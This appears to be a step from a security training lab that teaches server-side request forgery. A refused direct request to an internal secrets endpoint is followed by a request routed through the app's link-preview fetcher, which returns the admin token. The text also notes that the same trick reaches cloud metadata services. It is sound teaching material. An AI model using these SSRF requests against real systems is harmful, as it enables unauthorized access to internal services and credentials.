Reaching an internal-only service

The door you can't knock on

This machine runs an internal admin API at /internal/secrets. It only trusts callers that present the gateway's internal header, so a direct request from you is turned away:

curl -s -i http://127.0.0.1:8080/internal/secrets | head -1

In the terminal

student@vulntech:~$ curl -s -i http://127.0.0.1:8080/internal/secrets | head -1
HTTP/1.1 403 FORBIDDEN

Forbidden. But the link-preview feature is a trusted internal caller — it attaches that header automatically. So ask it to fetch the internal URL for you, and the admin token comes straight back:

curl -s 'http://127.0.0.1:8080/app/fetch?url=http://127.0.0.1:8080/internal/secrets'

In the terminal

student@vulntech:~$ curl -s 'http://127.0.0.1:8080/app/fetch?url=http://127.0.0.1:8080/internal/secrets'
internal admin token: vulntech{ssrf_reaches_internal_services}

You never had the credential; you borrowed the server's trust. The same trick in the real world reaches cloud metadata services (169.254.169.254), internal dashboards, and databases bound to localhost.